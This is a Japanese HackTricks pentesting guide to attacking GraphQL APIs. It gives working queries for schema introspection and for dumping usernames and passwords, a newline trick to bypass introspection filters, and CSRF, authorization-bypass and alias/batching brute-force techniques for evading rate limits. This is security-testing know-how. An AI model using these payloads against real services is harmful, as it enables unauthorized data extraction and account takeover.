GraphQL

htARTE(HackTricks AWS Red Team Expert)を通じて、ゼロからヒーローまでAWSハッキングを学びましょう

HackTricksをサポートする他の方法:

導入

GraphQLは、バックエンドからデータをクエリするための簡略化されたアプローチを提供するREST APIに対する効率的な代替手段として強調されています。 RESTとは異なり、データを収集するためにさまざまなエンドポイントに対して多数のリクエストが必要な場合があるのに対し、GraphQLは単一のリクエストを介してすべての必要な情報を取得できます。 この効率化により、データ取得プロセスの複雑さが軽減され、開発者にとって大きな利点となります。

GraphQLとセキュリティ

GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も発生します。 注意すべき重要な点は、GraphQLにはデフォルトで認証メカニズムが含まれていないということです。 適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を公開する可能性があり、重大なセキュリティリスクを引き起こす可能性があります。

ディレクトリブルートフォース攻撃とGraphQL

公開されたGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されています。 これらのパスは次のとおりです:

  • /graphql

  • /graphiql

  • /graphql.php

  • /graphql/console

  • /api

  • /api/graphql

  • /graphql/api

  • /graphql/graphql

公開されたGraphQLインスタンスを特定することで、サポートされているクエリの調査が可能となります。 これは、エンドポイントを介してアクセス可能なデータを理解するために重要です。 GraphQLのインスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。 これについての詳細は、GraphQLのインスペクションに関するドキュメントを参照してください:GraphQL: A query language for APIs.

フィンガープリント

ツールgraphw00fは、サーバーで使用されているGraphQLエンジンを検出し、セキュリティ監査人に役立つ情報を表示することができます。

ユニバーサルクエリ

URLがGraphQLサービスであるかどうかを確認するために、ユニバーサルクエリ query{__typename} を送信できます。 応答に {"data": {"__typename": "Query"}} が含まれている場合、URLがGraphQLエンドポイントをホストしていることが確認されます。 この方法は、GraphQLの__typenameフィールドに依存しており、クエリされたオブジェクトのタイプを明らかにします。

query{__typename}

基本的な列挙

GraphQLは通常、GETPOST (x-www-form-urlencoded)、およびPOST(json)をサポートしています。セキュリティのためには、CSRF攻撃を防ぐためにjsonのみを許可することが推奨されています。

イントロスペクション

スキーマ情報を発見するためにイントロスペクションを使用するには、__schemaフィールドをクエリしてください。このフィールドはすべてのクエリのルートタイプで利用可能です。

query={__schema{types{name,fields{name}}}}

以下のクエリを使用すると、使用されているすべてのタイプの名前が見つかります:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

このクエリを使用すると、すべてのタイプ、フィールド、および引数(および引数のタイプ)を抽出できます。これはデータベースへのクエリ方法を知るために非常に役立ちます。

エラー

エラー表示されるかどうかを知ることは興味深いです。なぜなら、それらは有用な情報を提供するからです。

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

インスペクションを介したデータベーススキーマの列挙

もしインスペクションが有効になっているが上記のクエリが実行されない場合は、クエリ構造からonOperationonFragment、およびonFieldディレクティブを削除してみてください。

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

インラインインスペクションクエリ:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

最後のコード行は、GraphQLからすべてのメタ情報(オブジェクト名、パラメータ、タイプなど)をダンプするGraphQLクエリです。

インスペクションが有効になっている場合、GraphQL Voyagerを使用して、すべてのオプションをGUIで表示できます。

クエリ

データベース内に保存されている情報の種類がわかったので、いくつかの値を抽出してみましょう。

インスペクションで、直接クエリできるオブジェクトを見つけることができます(存在するだけではオブジェクトをクエリできません)。次の画像では、"queryType"が"Query"と呼ばれ、"Query"オブジェクトのフィールドの1つが"flags"であり、これもオブジェクトの1つであることがわかります。したがって、フラグオブジェクトをクエリできます。

クエリ"flags"のタイプが"Flags"であることに注意してください。このオブジェクトは以下のように定義されています:

"Flags"オブジェクトは名前で構成されていることがわかります。そのため、次のクエリですべてのフラグの名前と値を取得できます:

query={flags{name, value}}

注意してください。クエリするオブジェクトが次の例のようにstringのようなプリミティブタイプである場合

次のようにクエリすることができます:

query={hiddenFlags}

別の例では、"Query" タイプオブジェクト内に 2 つのオブジェクトがあった: "user" と "users"。 これらのオブジェクトには検索するための引数が必要ない場合、欲しいデータを要求するだけで、それらからすべての情報を取得できます。この例では、保存されたユーザー名とパスワードを抽出できます:

ただし、この例では、そうしようとすると次のエラーが発生します:

どうやら、"uid" 引数のタイプが Int を使用して検索されるようです。 とにかく、基本列挙セクションでは、必要なすべての情報を示すクエリが提案されていることをすでに知っていました: query={__schema{types{name,fields{name, args{name,description,type{name, kind,ofType{name, kind}}}}}}}

そのクエリを実行すると、提供された画像を読むと "user" には Int タイプの "uid" 引数があることがわかります。

したがって、軽い uid ブルートフォースを実行すると、uid=1 でユーザー名とパスワードが取得されることがわかりました: query={user(uid:1){user,password}}

注意: "user" と "password" の パラメータを要求できることがわかりました。存在しないものを探そうとすると (query={user(uid:1){noExists}}) このエラーが発生します:

そして、列挙フェーズ中に "dbuser" オブジェクトに "user" と "password" というフィールドがあることがわかりました。

クエリ文字列ダンプトリック (感謝 @BinaryShadow_)

query={theusers(description: ""){username,password}} のように文字列タイプで検索できる場合、空の文字列を検索すると、すべてのデータがダンプされます。(この例はチュートリアルの例とは関係ありません。この例では、文字列フィールド "description" を使用して "theusers" で検索できると仮定します).

検索

このセットアップでは、データベースには人物映画が含まれています。人物メール名前で識別され、映画名前評価で識別されます。人物はお互いに友達になることができ、また映画を持つこともでき、データベース内の関係を示します。

名前で人物を検索し、そのメールアドレスを取得できます:

{
searchPerson(name: "John Doe") {
email
}
}

あなたは名前で人を検索し、彼らが購読している映画を取得できます:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

注意してください。人物のsubscribedMoviesnameを取得するように指示されています。

また、同時に複数のオブジェクトを検索することもできます。この場合、2つの映画を検索します:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

または、エイリアスを使用して複数の異なるオブジェクトの関係:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

ミューテーション

ミューテーションはサーバーサイドで変更を加えるために使用されます。

インスペクションでは、宣言された ミューテーションを見つけることができます。次の画像では、"MutationType" は "Mutation" と呼ばれ、"Mutation" オブジェクトにはミューテーションの名前が含まれています(この場合は "addPerson" のような):

このセットアップでは、データベースには人物映画が含まれています。人物メール名前で識別され、映画名前評価で識別されます。人物はお互いに友達であり、また映画を持つことができ、データベース内の関係を示します。

データベース内に新しい映画を作成するためのミューテーションは、次のようになります(この例ではミューテーションは addMovie と呼ばれています):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

クエリ内でデータの値とタイプが両方示されていることに注意してください。

さらに、データベースはaddPersonというミューテーション操作をサポートしており、既存の友達映画への関連付けとともに人物の作成を可能にします。新しく作成された人物に関連付ける前に、友達や映画がデータベースに事前に存在している必要があることに注意することが重要です。

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

ディレクティブの過負荷

このレポートで説明されている脆弱性の1つによると、ディレクティブの過負荷は、サーバーが操作を無駄にするまで何百万回もディレクティブを呼び出すことを意味し、それによってDoS攻撃が可能になります。

1つのAPIリクエストでのバッチング・ブルートフォース

この情報はhttps://lab.wallarm.com/graphql-batching-attack/から取得されました。 異なる資格情報を持つ多くのクエリを同時に送信してGraphQL APIを認証することをチェックします。これはクラシックなブルートフォース攻撃ですが、GraphQLのバッチ処理機能により、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチにより、外部のレート監視アプリケーションをだまして、パスワードを推測しようとするブルートフォースボットが存在しないかのように見せることができます。

以下は、1回のリクエストで3つの異なるメール/パスワードペアを使用してアプリケーション認証リクエストを行う最も簡単なデモンストレーションです。もちろん、同じ方法で1回のリクエストで数千を送信することも可能です:

応答スクリーンショットからわかるように、最初と3番目のリクエストは null を返し、対応する情報を error セクションに反映しました。2番目のミューテーションは正しい認証データを持ち、応答には正しい認証セッショントークンが含まれています。

イントロスペクションなしのGraphQL

graphqlエンドポイントがイントロスペクションを無効にするケースが増えています。ただし、予期しないリクエストが受信された際にgraphqlがスローするエラーは、clairvoyanceなどのツールにとって、スキーマの大部分を再作成するのに十分です。

さらに、Burp Suite拡張機能GraphQuailは、Burpを介して通過するGraphQL APIリクエストを観察し、見た新しいクエリごとに内部GraphQL スキーマ構築します。また、イントロスペクションクエリを受信すると、拡張機能は偽の応答を返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については、こちらをチェックしてください

こちらでGraphQLエンティティを発見するための素敵なワードリストが見つかります。

GraphQLイントロスペクション防御のバイパス

GraphQLイントロスペクション防御のバイパス

APIのイントロスペクションクエリに制限をバイパスするには、__schemaキーワードの後に特殊文字を挿入すると効果的です。この方法は、__schemaキーワードに焦点を当ててイントロスペクションをブロックするための正規表現パターンに一般的な開発者の見落としを悪用します。GraphQLが無視するが正規表現で考慮されていない文字(スペース、改行、カンマなど)を追加することで、制限を回避できます。たとえば、__schemaの後に改行があるイントロスペクションクエリは、そのような防御をバイパスする可能性があります:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

公開されたGraphQL構造の発見

インスペクションが無効の場合、JavaScriptライブラリ内の事前読み込みクエリを調べることが有用です。これらのクエリは開発者ツールのSourcesタブを使用して見つけることができ、APIのスキーマに対する洞察を提供し、公開された機密クエリを明らかにします。開発者ツール内で検索するコマンドは次のとおりです:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

GraphQLにおけるCSRF

CSRFとは何かわからない場合は、以下のページを読んでください:

pageCSRF (Cross Site Request Forgery)

そこでは、CSRFトークンなしで構成されたいくつかのGraphQLエンドポイントを見つけることができます。

GraphQLリクエストは通常、Content-Typeが**application/json**でPOSTリクエスト経由で送信されます。

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

しかし、ほとんどのGraphQLエンドポイントは**form-urlencoded POSTリクエスト**もサポートしています:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

したがって、前述のようなCSRFリクエストは事前リクエストなしで送信されるため、CSRFを悪用してGraphQLで変更を行うことが可能です。

ただし、Chromeのsamesiteフラグの新しいデフォルトCookie値はLaxです。これは、Cookieが第三者のWebからのGETリクエストでのみ送信されることを意味します。

また、クエリリクエストGETリクエストとして送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。

また、XS-Search 攻撃を悪用することで、ユーザーの資格情報を悪用してGraphQLエンドポイントからコンテンツを外部に流出させることが可能かもしれません。

詳細については、こちらの元の投稿をご覧ください。

GraphQLでの認証

エンドポイントで定義された多くのGraphQL関数は、リクエスト元の認証のみをチェックし、認可を行わない場合があります。

クエリ入力変数の変更は、機密なアカウント詳細が漏洩する可能性があります。

変異は、他のアカウントデータを変更しようとするアカウント乗っ取りにつながる可能性さえあります。

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQLでの認証のバイパス

クエリを連鎖させる ことで、弱い認証システムをバイパスすることができます。

以下の例では、操作が "forgotPassword" であり、それに関連付けられたforgotPasswordクエリのみを実行すべきであることがわかります。これは、末尾にクエリを追加することでバイパスできます。この場合、"register"を追加し、新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。

GraphQLでエイリアスを使用してレート制限をバイパスする

GraphQLでは、エイリアスはAPIリクエストを行う際にプロパティを明示的に命名する強力な機能です。この機能は、1つのリクエスト内で同じタイプのオブジェクトの複数のインスタンスを取得する際に特に便利です。エイリアスは、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを防ぐ制限を克服するために使用できます。

GraphQLエイリアスの詳細な理解のためには、次のリソースが推奨されます: エイリアス

エイリアスの主な目的は、多数のAPI呼び出しを必要としないようにすることですが、エイリアスを使用してGraphQLエンドポイントでブルートフォース攻撃を実行するために利用されることが特定されています。これは、一部のエンドポイントがHTTPリクエストの数を制限することでブルートフォース攻撃を防ぐように設計されたレートリミッターによって保護されている可能性があるためです。ただし、これらのレートリミッターは、各リクエスト内の操作の数を考慮していないかもしれません。エイリアスを使用すると、1つのHTTPリクエストに複数のクエリを含めることができるため、このようなレート制限措置を回避することができます。

以下に示す例を考えてみてください。これは、エイリアス付きクエリを使用してストアの割引コードの有効性を検証する方法を示しています。この方法は、複数の割引コードの検証を同時に行う可能性があるため、レート制限を回避できるかもしれません。

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

ツール

脆弱性スキャナー

  • https://github.com/gsmith257-cyber/GraphCrawler: スキーマを取得し、機密データを検索し、認可をテストし、スキーマを総当たり攻撃し、特定のタイプへのパスを見つけるために使用できるツールキット。

  • https://blog.doyensec.com/2020/03/26/graphql-scanner.html: スタンドアロンまたはBurp拡張機能として使用できます。

  • https://github.com/swisskyrepo/GraphQLmap: CLIクライアントとしても使用でき、攻撃を自動化するためにも使用できます。

  • https://gitlab.com/dee-see/graphql-path-enum: GraphQLスキーマ内の特定のタイプに到達する異なる方法をリストするツール。

  • https://github.com/doyensec/inql: 高度なGraphQLテスト用のBurp拡張機能。 Scanner はInQL v5.0のコアであり、GraphQLエンドポイントまたはローカルの内省スキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。 Attacker コンポーネントを使用すると、バッチGraphQL攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます。

クライアント

自動テスト

参考文献

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

Last updated